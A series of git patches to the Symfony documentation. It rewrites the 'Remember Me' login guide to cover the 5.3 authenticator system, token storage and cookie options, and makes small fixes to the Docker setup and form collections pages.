zPS40#_Fd@D-FS)rWrzLu#;K$K4@|QE3*$|v>m?rGg41MgKnkUx_2MWF#<2J#O-lw$
zbOCS$VBHCAAvDXLrTsN&hZOIvJ}TDXHi2zS(0X8Nb--%QUH$U}qIH=?WAlW)-+{$m
zg+j^SuZUZ3`m{d7r@#z>xWHF1o(OuVub)${qpK?vdJv%JV+ffT1_nc!-4^h@q3U{(
za568Cj*fO+I(hId1`oe!f%pZdO0&@PK4>_C3uBZgYJvR6w+_5WWp_PD_wr|zma=LC
zizRl|HMkmJf^75HKZENM&Zu4h2Zi9sT{_*--5mzrjVAd65NLOkJAO<;41NN<rp_-z
z_Iy%Oah1sRhZzzFpM9<=VBxf*#K^!PR(jvv9o$?KWO>gIuq8mYE4gQ9WHiGuw1YGb
zWyy@3oHmHd7C_er5H*hp_JOHs1f%|E8^i31<*x+8Woml*>&IKZDOtx4zTW2CH`hfZ
zAjoML5XVp8tDpV)*$z#YIUukur-U2U*4K~s^z=MU#&ITo5;&`b)-f&d($WOs<<BG*
zw7b2|AqV;gpEUi)Fw`6HdxZxVtcO{8RS!bx^=a={TZF-x1qT@XTsDpyxF(a}7YooU
z#t!c5_wHTn+OEI9KLsUaGPs=J684o?>w}An|Kap!`b2{nNHJg%z>o;m6)d6>x#K?K
zW~?-7PoYGD2mI#5#6*>I0N&Z(mX%GFv@kP^6pz|cC0GNnreKMrNJ@8t!$){M7tvPp
zcVz)P1?&cRyFCa_6L8p7jK}R<`Ujg5!-9b-Ux?r-Oths01_pMDdvLt^Ei{CLV)?*>
ucX}E$1`)K*IAsNeZyxOjUrS^?gd*ygO)0yYu-QVmBzH^cX10vM%l`wGkiLNc

literal 0
HcmV?d00001

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 7b527d69ca2..5b3ce54fb4a 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -4,6 +4,12 @@
 How to Add "Remember Me" Login Functionality
 ============================================
 
+.. caution::
+
+    This article documents the remember me system that was introduced in
+    the new authenticator system in 5.3. If you're using the deprecated
+    security system, refer to the `5.2 version of this documentation`_.
+
 Once a user is authenticated, their credentials are typically stored in the
 session. This means that when the session ends they will be logged out and
 have to provide their login details again next time they wish to access the
@@ -22,9 +28,8 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
                 main:
                     # ...
                     remember_me:
-                        secret:   '%kernel.secret%'
+                        secret:   '%kernel.secret%' # required
                         lifetime: 604800 # 1 week in seconds
-                        path:     /
                         # by default, the feature is enabled by checking a
                         # checkbox in the login form (see below), uncomment the
                         # following line to always enable it.
@@ -48,11 +53,12 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
                 <firewall name="main">
                     <!-- ... -->
 
-                    <!-- 604800 is 1 week in seconds -->
+                    <!-- secret: required
+                         lifetime: 604800 is 1 week in seconds -->
                     <remember-me
                         secret="%kernel.secret%"
                         lifetime="604800"
-                        path="/"/>
+                    />
                     <!-- by default, the feature is enabled by checking a checkbox
                          in the login form (see below), add always-remember-me="true"
                          to always enable it. -->
@@ -70,9 +76,8 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
             $security->firewall('main')
                 // ...
                 ->rememberMe()
-                    ->secret('%kernel.secret%')
+                    ->secret('%kernel.secret%') // required
                     ->lifetime(604800) // 1 week in seconds
-                    ->path('/')
 
                     // by default, the feature is enabled by checking a
                     // checkbox in the login form (see below), uncomment
@@ -81,245 +86,404 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
             ;
         };
 
-The ``remember_me`` firewall defines the following configuration options:
+The ``secret`` option is the only required option and it is used to sign
+the remember me cookie. It's common to use the ``kernel.secret`` parameter,
+which is defined using the ``APP_SECRET`` environment variable.
 
-``secret`` (**required**)
-    The value used to encrypt the cookie's content. It's common to use the
-    ``secret`` value defined in the ``APP_SECRET`` environment variable.
+After enabling the ``remember_me`` system in the configuration, there are a
+couple more things to do before remember me works correctly:
 
-``name`` (default value: ``REMEMBERME``)
-    The name of the cookie used to keep the user logged in. If you enable the
-    ``remember_me`` feature in several firewalls of the same application, make sure
-    to choose a different name for the cookie of each firewall. Otherwise, you'll
-    face lots of security related problems.
+#. :ref:`Add an opt-in checkbox to active remember me <security-remember-me-activate>`;
+#. :ref:`Use an authenticator that supports remember me <security-remember-me-authenticator>`;
+#. Optionally, :ref:`configure the how remember me cookies are stored and validated <security-remember-me-storage>`.
 
-``lifetime`` (default value: ``31536000``)
-    The number of seconds during which the user will remain logged in. By default
-    users are logged in for one year.
+After this, the remember me cookie will be created upon successful
+authentication. For some pages/actions, you can
+:ref:`force a user to fully authenticate <security-remember-me-authorization>`
+(i.e. not through a remember me cookie) for better security.
 
-``path`` (default value: ``/``)
-    The path where the cookie associated with this feature is used. By default
-    the cookie will be applied to the entire website but you can restrict to a
-    specific section (e.g. ``/forum``, ``/admin``).
+.. note::
 
-``domain`` (default value: ``null``)
-    The domain where the cookie associated with this feature is used. By default
-    cookies use the current domain obtained from ``$_SERVER``.
+    The ``remember_me`` setting contains many settings to configure the
+    cookie created by this feature. See `Customizing the Remember Me Cookie`_
+    for a full description of these settings.
 
-``secure`` (default value: ``false``)
-    If ``true``, the cookie associated with this feature is sent to the user
-    through an HTTPS secure connection.
+.. _security-remember-me-activate:
 
-``httponly`` (default value: ``true``)
-    If ``true``, the cookie associated with this feature is accessible only
-    through the HTTP protocol. This means that the cookie won't be accessible
-    by scripting languages, such as JavaScript.
+Activating the Remember Me System
+---------------------------------
 
-``samesite`` (default value: ``null``)
-    If set to ``strict``, the cookie associated with this feature will not
-    be sent along with cross-site requests, even when following a regular link.
+Using the remember me cookie is not always appropriate (e.g. you should not
+use it on a shared PC). This is why by default, Symfony requires your users
+to opt-in to the remember me system via a request parameter.
 
-``remember_me_parameter`` (default value: ``_remember_me``)
-    The name of the form field checked to decide if the "Remember Me" feature
-    should be enabled or not. Keep reading this article to know how to enable
-    this feature conditionally.
+This request parameter is often set via a checkbox in the login form. This
+checkbox must have a name of ``_remember_me``:
 
-``always_remember_me`` (default value: ``false``)
-    If ``true``, the value of the ``remember_me_parameter`` is ignored and the
-    "Remember Me" feature is always enabled, regardless of the desire of the
-    end user.
+.. code-block:: html+twig
 
-``token_provider`` (default value: ``null``)
-    Defines the service id of a token provider to use. If you want to store tokens
-    in the database, see :ref:`remember-me-token-in-database`.
+    {# templates/security/login.html.twig #}
+    <form method="post">
+        {# ... your form fields #}
 
-``service`` (default value: ``null``)
-    Defines the ID of the service used to handle the Remember Me feature. It's
-    useful if you need to overwrite the current behavior.
+        <label>
+            <input type="checkbox" name="_remember_me" checked/>
+            Keep me logged in
+        </label>
 
-    .. versionadded:: 5.1
+        {# ... #}
+    </form>
 
-        The ``service`` option was introduced in Symfony 5.1.
+.. note::
 
-Forcing the User to Opt-Out of the Remember Me Feature
-------------------------------------------------------
+    Optionally, you can configure a custom name for this checkbox using the
+    ``remember_me_parameter`` setting under the ``remember_me`` section.
 
-It's a good idea to provide the user with the option to use or not use the
-remember me functionality, as it will not always be appropriate. The usual
-way of doing this is to add a checkbox to the login form. By giving the checkbox
-the name ``_remember_me`` (or the name you configured using ``remember_me_parameter``),
-the cookie will automatically be set when the checkbox is checked and the user
-successfully logs in. So, your specific login form might ultimately look like
-this:
+Always activating Remember Me
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. code-block:: html+twig
+Sometimes, you may wish to always activate the remember me system and not
+allow users to opt-out. In these cases, you can use the
+``always_remember_me`` setting:
 
-    {# templates/security/login.html.twig #}
-    <form method="post">
-        {# ... your form fields #}
+.. configuration-block::
 
-        <input type="checkbox" id="remember_me" name="_remember_me" checked/>
-        <label for="remember_me">Keep me logged in</label>
+    .. code-block:: yaml
 
-        {# ... #}
-    </form>
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    remember_me:
+                        secret: '%kernel.secret%'
+                        # ...
+                        always_remember_me: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-The user will then automatically be logged in on subsequent visits while
-the cookie remains valid.
+            <config>
+                <!-- ... -->
 
-Add the RememberMeBadge() to the Passport
------------------------------------------
+                <firewall name="main">
+                    <!-- ... -->
 
-Beware that in the new Authenitaction System you have to set the RememberMeBadge()
-in the authenticate method of the authenticator, like::
+                    <remember-me
+                        secret="%kernel.secret%"
+                        always-remember-me="true"
+                    />
+                </firewall>
+            </config>
+        </srv:container>
 
-     public function authenticate(Request $request): PassportInterface
-        {
-            $email = $request->request->get('email', '');
+    .. code-block:: php
 
-            $request->getSession()->set(Security::LAST_USERNAME, $email);
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->rememberMe()
+                    ->secret('%kernel.secret%')
+                    // ...
+                    ->alwaysRememberMe(true)
+            ;
+        };
+
+Now, no request parameter is checked and each successful authentication
+will produce a remember me cookie.
+
+.. _security-remember-me-authenticator:
+
+Add Remember Me Support to the Authenticator
+--------------------------------------------
+
+Not all authentication methods support remember me (e.g. HTTP Basic
+authentication doesn't have support). An authenticator indicates support
+using a ``RememberMeBadge`` on the :ref:`security passport <security-passport>`.
+
+After logging in, you can use the security profiler to see if this badge is
+present:
+
+.. image:: /_images/security/profiler-badges.png
+
+Without this badge, remember me will be not be activated (regardless of all
+other settings).
+
+Add Remember Me Support to Custom Authenticators
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When you use a custom authenticator, you must add a ``RememberMeBadge``
+manually::
+
+    // src/Service/LoginAuthenticator.php
+    namespace App\Service;
+
+    // ...
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\RememberMeBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
+
+    class LoginAuthenticator extends AbstractAuthenticator
+    {
+        public function authenticate(Request $request): Passport
+        {
+            // ...
 
             return new Passport(
-                new UserBadge($email),
-                new PasswordCredentials($request->request->get('password', '')),
+                new UserBadge(...),
+                new PasswordCredentials(...),
                 [
-                    new CsrfTokenBadge('authenticate', $request->get('_csrf_token')),
                     new RememberMeBadge(),
                 ]
             );
         }
+    }
 
-Forcing the User to Re-Authenticate before Accessing certain Resources
-----------------------------------------------------------------------
+.. _security-remember-me-storage:
 
-When the user returns to your site, they are authenticated automatically based
-on the information stored in the remember me cookie. This allows the user
-to access protected resources as if the user had actually authenticated upon
-visiting the site.
+Customize how Remember Me Tokens are Stored
+-------------------------------------------
 
-In some cases, however, you may want to force the user to actually re-authenticate
-before accessing certain resources. For example, you might not allow "remember me"
-users to change their password. You can do this by leveraging a few special
-"attributes"::
+Remember me cookies contain a token that is used to verify the user's
+identity. As these tokens are long-lived, it is important to take
+precautions to allow invalidating any generated tokens.
 
-    // src/Controller/AccountController.php
-    // ...
+Symfony provides two ways to validate remember me tokens:
 
-    public function accountInfo(): Response
-    {
-        // allow any authenticated user - we don't care if they just
-        // logged in, or are logged in via a remember me cookie
-        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_REMEMBERED');
+Signature based tokens
+    By default, the remember me cookie contains a signature based on
+    properties of the user. If the properties change, the signature changes
+    and already generated tokens are no longer considered valid. See
+    :ref:`security-remember-me-signature` for more information.
 
-        // ...
-    }
+Persistent tokens
+    Persistent tokens store any generated token (e.g. in a database). This
+    allows you to invalidate tokens by changing the rows in the database.
+    See :ref:`security-remember-me-persistent` for more information.
 
-    public function resetPassword(): Response
-    {
-        // require the user to log in during *this* session
-        // if they were only logged in via a remember me cookie, they
-        // will be redirected to the login page
-        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+.. note::
 
-        // ...
-    }
+    You can also write your own custom remember me handler by creating a
+    class that extends
+    :class:`Symfony\\Component\\Security\\Http\\RememberMe\\AbstractRememberMeHandler`
+    (or implements :class:`Symfony\\Component\\Security\\Http\\RememberMe\\RememberMeHandlerInterface`).
+    You can then configure this custom handler by configuring the service
+    ID in the ``service`` option under ``remember_me``.
 
-.. tip::
+    .. versionadded:: 5.1
 
-    There is also a ``IS_REMEMBERED`` attribute that grants access *only* when the
-    user is authenticated via the remember me mechanism.
+        The ``service`` option was introduced in Symfony 5.1.
 
-.. versionadded:: 5.1
 
-    The ``IS_REMEMBERED`` attribute was introduced in Symfony 5.1.
+.. _security-remember-me-signature:
 
-.. _remember-me-token-in-database:
+Using Signed Remember Me Tokens
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Storing Remember Me Tokens in the Database
-------------------------------------------
+By default, remember me cookies contain a *hash* that is used to validate
+the cookie. This hash is computed based on configured
+signature properties.
 
-The token contents, including the hashed version of the user password, are
-stored by default in cookies. If you prefer to store them in a database, use the
-:class:`Symfony\\Bridge\\Doctrine\\Security\\RememberMe\\DoctrineTokenProvider`
-class provided by the Doctrine Bridge.
+These properties are always included in the hash:
 
-First, you need to register ``DoctrineTokenProvider`` as a service:
+* The user identifier (returned by
+  :method:`Symfony\\Component\\Security\\Core\\User\\UserInterface::getUserIdentifier`);
+* The expiration timestamp.
+
+On top of these, you can configure custom properties using the
+``signature_properties`` setting (defaults to ``password``). The properties
+are fetched from the user object using the
+:doc:`PropertyAccess component </components/property_access>` (e.g. using
+``getUpdatedAt()`` or a public ``$updatedAt`` property when using
+``updatedAt``).
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/services.yaml
-        services:
+        # config/packages/security.yaml
+        security:
             # ...
 
-            Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider: ~
+            firewalls:
+                main:
+                    # ...
+                    remember_me:
+                        secret: '%kernel.secret%'
+                        # ...
+                        signature_properties: ['password', 'updatedAt']
 
     .. code-block:: xml
 
-        <!-- config/services.xml -->
+        <!-- config/packages/security.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
 
-            <services>
-                <service id="Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider"/>
-            </services>
-        </container>
+                    <remember-me secret="%kernel.secret%">
+                        <signature-property>password</signature-property>
+                        <signature-property>updatedAt</signature-property>
+                    </remember-me>
+                </firewall>
+            </config>
+        </srv:container>
 
     .. code-block:: php
 
-        // config/services.php
-        use Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider;
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->rememberMe()
+                    ->secret('%kernel.secret%')
+                    // ...
+                    ->signatureProperties(['password', 'updatedAt'])
+            ;
+        };
+
+In this example, the remember me cookie will no longer be considered valid
+if the ``updatedAt``, password or user identifier for this user changes.
+
+.. tip::
+
+    Signature properties allow for some advanced usages without having to
+    set-up storage for all remember me tokens. For instance, you can add a
+    ``forceReloginAt`` field to your user and to the signature properties.
+    This way, you can invalidate all remember me tokens from a user by
+    changing this timestamp.
 
-        $container->register(DoctrineTokenProvider::class);
+.. _security-remember-me-persistent:
 
-Then you need to create a table with the following structure in your database
-so ``DoctrineTokenProvider`` can store the tokens:
+Storing Remember Me Tokens in the Database
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. code-block:: sql
+As remember me tokens are often long-lived, you might prefer to save them in
+a database to have full control over them. Symfony comes with support for
+persistent remember me tokens.
 
-    CREATE TABLE `rememberme_token` (
-        `series`   char(88)     UNIQUE PRIMARY KEY NOT NULL,
-        `value`    varchar(88)  NOT NULL,
-        `lastUsed` datetime     NOT NULL,
-        `class`    varchar(100) NOT NULL,
-        `username` varchar(200) NOT NULL
-    );
+This implementation uses a *remember me token provider* for storing and
+retrieving the tokens from the database. The DoctrineBridge provides a
+token provider using Doctrine.
 
-.. note::
+You can enable the doctrine token provider using the ``doctrine`` setting:
+
+.. configuration-block::
 
-    If you use DoctrineMigrationsBundle to manage your database migrations, you
-    will need to tell Doctrine to ignore this new ``rememberme_token`` table:
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    remember_me:
+                        secret: '%kernel.secret%'
+                        # ...
+                        token_provider:
+                            doctrine: true
 
-    .. configuration-block::
+    .. code-block:: xml
 
-        .. code-block:: yaml
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-            # config/packages/doctrine.yaml
-            doctrine:
-                dbal:
-                    schema_filter: ~^(?!rememberme_token)~
+            <config>
+                <!-- ... -->
 
-        .. code-block:: xml
+                <firewall name="main">
+                    <!-- ... -->
 
-            <!-- config/packages/doctrine.xml -->
-            <doctrine:dbal schema-filter="~^(?!rememberme_token)~"/>
+                    <remember-me secret="%kernel.secret%">
+                        <token-provider doctrine="true"/>
+                    </remember-me>
+                </firewall>
+            </config>
+        </srv:container>
 
-        .. code-block:: php
+    .. code-block:: php
 
-            // config/packages/doctrine.php
-            use Symfony\Config\DoctrineConfig;
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
 
-            return static function (DoctrineConfig $doctrine) {
-                $dbalDefault = $doctrine->dbal()->connection('default');
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
                 // ...
-                $dbalDefault->schemaFilter('~^(?!rememberme_token)~');
-            };
+                ->rememberMe()
+                    ->secret('%kernel.secret%')
+                    // ...
+                    ->tokenProvider([
+                        'doctrine' => true,
+                    ])
+            ;
+        };
+
+This also instructs Doctrine to create a table for the remember me tokens.
+If you use the DoctrineMigrationsBundle, you can create a new migration for
+this:
+
+.. code-block:: terminal
+
+    $ php bin/console doctrine:migrations:diff
+
+    # and optionally run the migrations locally
+    $ php bin/console doctrine:migrations:migrate
+
+Otherwise, you can use the ``doctrine:schema:update`` command:
+
+.. code-block:: terminal
+
+    # get the required SQL code
+    $ php bin/console doctrine:schema:update --dump-sql
+
+    # run the SQL in your DB client, or let the command run it for you
+    $ php bin/console doctrine:schema:update --force
+
+Implementing a Custom Token Provider
+....................................
+
+You can also create a custom token provider by creating a class that
+implements :class:`Symfony\\Component\\Security\\Core\\Authentication\\RememberMe\\TokenProviderInterface`.
 
-Finally, set the ``token_provider`` option of the ``remember_me`` config to the
-service you created before:
+Then, configure the service ID of your custom token provider as ``service``:
 
 .. configuration-block::
 
@@ -334,7 +498,8 @@ service you created before:
                     # ...
                     remember_me:
                         # ...
-                        token_provider: 'Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider'
+                        token_provider:
+                            service: App\Security\RememberMe\CustomTokenProvider
 
     .. code-block:: xml
 
@@ -354,9 +519,9 @@ service you created before:
                 <firewall name="main">
                     <!-- ... -->
 
-                    <remember-me
-                        token-provider="Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider"
-                        />
+                    <remember-me>
+                        <token-provider service="App\Security\RememberMe\CustomTokenProvider"/>
+                    </remember-me>
                 </firewall>
             </config>
         </srv:container>
@@ -364,7 +529,7 @@ service you created before:
     .. code-block:: php
 
         // config/packages/security.php
-        use Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider;
+        use App\Security\RememberMe\CustomTokenProvider;
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
@@ -373,46 +538,95 @@ service you created before:
                 // ...
                 ->rememberMe()
                     // ...
-                    ->tokenProvider(DoctrineTokenProvider::class)
+                    ->tokenProvider([
+                        'service' => CustomTokenProvider::class,
+                    ])
             ;
         };
 
-Activating Remember Me When Using a Custom Authenticator
---------------------------------------------------------
+.. _security-remember-me-authorization:
 
-When you use a :doc:`custom authenticator </security/custom_authenticator>`, you
-must add a ``RememberMeBadge`` to the ``Passport`` for the "Remember Me" function
-to be activated. Without the badge, "Remember Me" will not be active, regardless
-of any other "Remember Me" settings.
+Forcing the User to Re-Authenticate before Accessing certain Resources
+----------------------------------------------------------------------
 
-For example::
+When the user returns to your site, they are authenticated automatically based
+on the information stored in the remember me cookie. This allows the user
+to access protected resources as if the user had actually authenticated upon
+visiting the site.
 
-    // src/Service/LoginAuthenticator.php
-    namespace App\Service;
+In some cases, however, you may want to force the user to actually re-authenticate
+before accessing certain resources. For example, you might not allow "remember me"
+users to change their password. You can do this by leveraging a few special
+"attributes"::
 
+    // src/Controller/AccountController.php
     // ...
-    use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\RememberMeBadge;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
-    use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
 
-    class LoginAuthenticator extends AbstractAuthenticator
+    public function accountInfo(): Response
     {
-        public function authenticate(Request $request): PassportInterface
-        {
-            $password = $request->request->get('password');
-            $username = $request->request->get('username');
-            $csrfToken = $request->request->get('csrf_token');
+        // allow any authenticated user - we don't care if they just
+        // logged in, or are logged in via a remember me cookie
+        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_REMEMBERED');
 
-            return new Passport(
-                new UserBadge($username),
-                new PasswordCredentials($password),
-                [
-                    new CsrfTokenBadge('login', $csrfToken),
-                    new RememberMeBadge(),
-                ]
-            );
-        }
+        // ...
+    }
+
+    public function resetPassword(): Response
+    {
+        // require the user to log in during *this* session
+        // if they were only logged in via a remember me cookie, they
+        // will be redirected to the login page
+        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+
+        // ...
     }
+
+.. tip::
+
+    There is also a ``IS_REMEMBERED`` attribute that grants access *only*
+    when the user is authenticated via the remember me mechanism.
+
+.. versionadded:: 5.1
+
+    The ``IS_REMEMBERED`` attribute was introduced in Symfony 5.1.
+
+Customizing the Remember Me Cookie
+----------------------------------
+
+The ``remember_me`` configuration contains many options to customize the
+cookie created by the system:
+
+``name`` (default value: ``REMEMBERME``)
+    The name of the cookie used to keep the user logged in. If you enable the
+    ``remember_me`` feature in several firewalls of the same application, make sure
+    to choose a different name for the cookie of each firewall. Otherwise, you'll
+    face lots of security related problems.
+
+``lifetime`` (default value: ``31536000`` i.e. 1 year in seconds)
+    The number of seconds after which the cookie will be expired. This
+    defines the maximum time between two visits for the user to remain
+    authenticated.
+
+``path`` (default value: ``/``)
+    The path where the cookie associated with this feature is used. By default
+    the cookie will be applied to the entire website but you can restrict to a
+    specific section (e.g. ``/forum``, ``/admin``).
+
+``domain`` (default value: ``null``)
+    The domain where the cookie associated with this feature is used. By default
+    cookies use the current domain obtained from ``$_SERVER``.
+
+``secure`` (default value: ``false``)
+    If ``true``, the cookie associated with this feature is sent to the user
+    through an HTTPS secure connection.
+
+``httponly`` (default value: ``true``)
+    If ``true``, the cookie associated with this feature is accessible only
+    through the HTTP protocol. This means that the cookie won't be accessible
+    by scripting languages, such as JavaScript.
+
+``samesite`` (default value: ``null``)
+    If set to ``strict``, the cookie associated with this feature will not
+    be sent along with cross-site requests, even when following a regular link.
+
+.. _`5.2 version of this documentation`: https://symfony.com/doc/5.2/security/remember_me.html

From 6f2ef6db89f4948f333ff964f87adf1856c3966f Mon Sep 17 00:00:00 2001
From: Mark Pedron <marktpedron@gmail.com>
Date: Sat, 15 Jan 2022 13:52:50 +0100
Subject: [PATCH 2954/7107] Add missing symfony server reference

Fixes the following diagnostic emitted by `_build/build.php`:
```
Found invalid reference "symfony binary web server" in file
```
"setup/docker"
---
 setup/docker.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/docker.rst b/setup/docker.rst
index bd8eb145af8..d3d51cb781f 100644
--- a/setup/docker.rst
+++ b/setup/docker.rst
@@ -49,7 +49,7 @@ After installing the package, rebuild your containers by running:
 Symfony Binary Web Server and Docker Support
 --------------------------------------------
 
-If you're using the :ref:`symfony binary web server` (e.g. ``symfony server:start``),
+If you're using the :ref:`symfony binary web server <symfony-local-web-server>` (e.g. ``symfony server:start``),
 then it can automatically detect your Docker services and expose them as environment
 variables. See :ref:`symfony-server-docker`.
 

From 33472e5ee415cf67f09a4c27f83fdb3df430cacf Mon Sep 17 00:00:00 2001
From: Andrea Cristaudo <andrea-cristaudo@users.noreply.github.com>
Date: Sat, 15 Jan 2022 11:29:33 +0100
Subject: [PATCH 2955/7107] Remove reference to jQuery from examples code

---
 form/form_collections.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 0ab38902a17..b358a4dfbc0 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -281,9 +281,7 @@ On the rendered page, the result will look something like this:
     and you need to adjust the following JavaScript accordingly.
 
 Now add some JavaScript to read this attribute and dynamically add new tag forms
-when the user clicks the "Add a tag" link. This example uses `jQuery`_ and
-assumes you have it included somewhere on your page (e.g. using Symfony's
-:doc:`Webpack Encore </frontend>`).
+when the user clicks the "Add a tag" link.
 
 Add a ``<script>`` tag somewhere on your page to include the required
 functionality with JavaScript:
@@ -651,7 +649,7 @@ the relationship between the removed ``Tag`` and ``Task`` object.
     The Symfony community has created some JavaScript packages that provide the
     functionality needed to add, edit and delete elements of the collection.
     Check out the `@a2lix/symfony-collection`_ package for modern browsers and
-    the `symfony-collection`_ package based on jQuery for the rest of browsers.
+    the `symfony-collection`_ package based on `jQuery`_ for the rest of browsers.
 
 .. _`Owning Side and Inverse Side`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/unitofwork-associations.html
 .. _`jQuery`: http://jquery.com/

From f69eb0183b006172b9210a03f1dda302998e3f44 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 8 Nov 2021 16:04:31 +0100
Subject: [PATCH 2956/7107] Removing outdated jQuery note

---
 form/form_collections.rst | 41 +++++++++++++++++++--------------------
 1 file changed, 20 insertions(+), 21 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index b358a4dfbc0..ca104b80ab4 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -238,25 +238,26 @@ it will receive an *unknown* number of tags. Otherwise, you'll see a
 
 The ``allow_add`` option also makes a ``prototype`` variable available to you.
 This "prototype" is a little "template" that contains all the HTML needed to
-dynamically create any new "tag" forms with JavaScript. To render the prototype, add
-the following ``data-prototype`` attribute to the existing ``<ul>`` in your template:
+dynamically create any new "tag" forms with JavaScript. Now add the following
+``data-index`` (containing the current "form row" number for the following JavaScript)
+and ``data-prototype`` attribute to the existing ``<ul>`` in your template:
 
 .. code-block:: html+twig
 
     <ul class="tags" data-index="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"></ul>
 
-Now add a button just next to the ``<ul>`` to dynamically add a new tag:
-
-.. code-block:: html+twig
-
-    <button type="button" class="add_item_link" data-collection-holder-class="tags">Add a tag</button>
-
 On the rendered page, the result will look something like this:
 
 .. code-block:: html
 
     <ul class="tags" data-index="0" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
 
+Now add a button to dynamically add a new tag:
+
+.. code-block:: html+twig
+
+    <button type="button" class="add_item_link" data-collection-holder-class="tags">Add a tag</button>
+
 .. seealso::
 
     If you want to customize the HTML code in the prototype, see
@@ -265,7 +266,7 @@ On the rendered page, the result will look something like this:
 .. tip::
 
     The ``form.tags.vars.prototype`` is a form element that looks and feels just
-    like the individual ``form_widget(tag)`` elements inside your ``for`` loop.
+    like the individual ``form_widget(tag.*)`` elements inside your ``for`` loop.
     This means that you can call ``form_widget()``, ``form_row()`` or ``form_label()``
     on it. You could even choose to render only one of its fields (e.g. the
     ``name`` field):
